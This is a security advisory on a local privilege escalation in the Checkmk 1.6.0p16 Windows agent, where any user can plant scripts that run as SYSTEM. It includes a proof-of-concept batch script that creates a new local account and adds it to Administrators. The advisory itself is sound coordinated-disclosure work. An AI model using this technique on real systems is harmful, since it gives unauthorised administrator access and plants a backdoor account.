#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
################################################################################
#
# Product: Checkmk
# Vendor: tribe29 GmbH
# CSNC ID: CSNC-2020-005
# Subject: Local Privilege Escalation
# Risk: High
# Effect: Locally exploitable
# Authors: Thierry Viaccoz <
# Date: 21.09.2020
#
################################################################################
Introduction:
-------------
Checkmk [1] is an IT infrastructure monitoring software. It is
consists of a
management server querying the clients and of an agent installed on
the
monitored systems.
Compass Security identified a local privilege escalation
vulnerability,
allowing a user on a systems monitored by Checkmk to escalate its
privileges to
become a local administrator.
Affected:
---------
Vulnerable:
* Checkmk 1.6.0p16
Not vulnerable:
* Checkmk 1.6.0p17
No other version was tested, but it is believed for the older
versions to be
also vulnerable.
Technical Description:
----------------------
Generally, a standard user can read and write to more paths than it
should,
thereby allowing it to access and modifiy sensitive
information.
Every user logged in on a system monitored by Checkmk can write
to the path
where scripts are stored. These are executed regularly by the agent
as SYSTEM:
C:\ProgramData\checkmk\agent\local>icacls .
. NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(WD,AD,WEA,WA)
This means that the user can execute arbitrary commands as
SYSTEM and escalate
its privileges. As a proof of concept, the script
"C:\ProgramData\checkmk\agent\local\script.bat" with the following
content was
created:
@echo off
echo 0 myservice - OK: Custom output
whoami > C:\checkmk.txt
net user /add compass [CUT]
net localgroup Administrators compass /add
The script first writes the current user with "whoami" in the
file
"C:\checkmk.txt", then creates the new user "compass" and finally
adds it in
the local "Administrators" group.
After several minutes, the script gets triggered by the
monitoring server
through the local agent and the file "C:\checkmk.txt" with the
following
content is present:
nt authority\system
This shows that the script was executed as SYSTEM. In addition,
the new local
administrator "compass" is present on the system.
A local attacker can exploit this vulnerability to gain local
administrative
privileges on any system monitored by Checkmk.
Workaround / Fix:
-----------------
Restrict the paths the users can read and write to the strict
minimum in order
to prevent the scripts being tampered with and sensitive
information like keys
to leak to unauthorized users. This was fixed by the publisher in
[2].
As a Checkmk customer, update your installation to the latest
version to
receive the fix.
Timeline:
---------
2020-08-19: Discovery by Thierry Viaccoz
2020-08-24: Initial vendor notification
2020-08-31: Release of fixed version
2020-09-21: Coordinated public disclosure date
References:
-----------
[1] https://checkmk.com/
[2] https://checkmk.com/check_mk-werks.php?werk_id=11460
